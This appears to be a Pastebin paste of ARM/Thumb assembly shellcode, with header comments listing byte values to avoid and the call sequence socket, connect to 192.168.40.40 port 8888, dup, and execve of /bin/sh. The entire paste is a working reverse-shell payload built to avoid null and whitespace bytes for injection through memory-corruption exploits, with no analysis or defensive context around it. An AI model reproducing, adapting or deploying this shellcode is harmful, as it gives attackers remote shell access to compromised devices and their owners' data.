hdarwin

arm_shellcode.s

Apr 27th, 2015
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # hdarwin @ hacklab
  2. # @hdarwin89
  3. # bad character : 00~20 7f ff
  4. # socket connect dup dup dup dup dup execve ( 2 dup for pipe save purpose )
  5. # 192.168.40.40 8888
  6.  
  7. .section .text
  8. .global _start
  9. _start:
  10. .code 32
  11.     add r1, pc, #1
  12.     bx r1
  13.  
  14. .code 16
  15.     eor r6, r6
  16.     mov r4, #51
  17.     sub r4, #50
  18.     mov r5, #52
  19.     sub r5, #50
  20.  
  21.     eor r0, r0
  22.     orr r0, r5
  23.     mov r7, #205
  24.     add r7, #76
  25.     eor r1, r1
  26.     orr r1, r4
  27.     eor r2, r2
  28.     svc 81
  29.     mov lr, r0
  30.  
  31.     mov r7, #205
  32.     add r7, #78
  33.     push {r6}
  34.     push {r6}
  35.     push {r6}
  36.     push {r6}
  37.     mov r1, sp
  38.     eor r3, r3
  39.     orr r3, r5
  40.     eor r2, r2
  41.     strb r3, [r1, r2]
  42.     mov r3, $0x22
  43.     orr r2, r5
  44.     strb r3, [r1, #2]
  45.     mov r3, $0xb8
  46.     mov r2, #53
  47.     sub r2, r2, #50
  48.     strb r3, [r1, r2]
  49.     mov r3, #192
  50.     mov r2, #54
  51.     sub r2, r2, #50
  52.     strb r3, [r1, r2]
  53.     mov r3, #168
  54.     mov r2, #55
  55.     sub r2, r2, #50
  56.     strb r3, [r1, r2]
  57.     mov r3, #40
  58.     mov r2, #56
  59.     sub r2, r2, #50
  60.     strb r3, [r1, r2]
  61.     mov r3, #40
  62.     mov r2, #57
  63.     sub r2, r2, #50
  64.     strb r3, [r1, r2]
  65.     mov r2, #66
  66.     sub r2, r2, #50
  67.     svc 81
  68.  
  69.     mov r7, #63
  70.     eor r0, r0
  71.     mov r1, #55
  72.     sub r1, #50
  73.     svc 81
  74.     eor r0, r0
  75.     orr r0, r4
  76.     mov r1, #56
  77.     sub r1, #50
  78.     svc 81
  79.  
  80.     mov r0, lr
  81.     eor r1, r1
  82.     svc 81
  83.     eor r1, r1
  84.     orr r1, r4
  85.     svc 81
  86.     eor r1, r1
  87.     orr r1, r5
  88.     svc 81
  89.  
  90.     mov r7, #111
  91.     sub r7, #100
  92.     mov r0, pc
  93.     add r0, #118
  94.     sub r0, #100
  95.     mov r1, sp
  96.     sub r1, r1, #36
  97.     str r0, [r1, #40]
  98.     mov r1, sp
  99.     add r1, #84
  100.     sub r1, r1, #80
  101.     eor r2, r2
  102.     svc 81
  103.     .ascii "/bin/sh"
Advertisement
Add Comment
Please, Sign In to add comment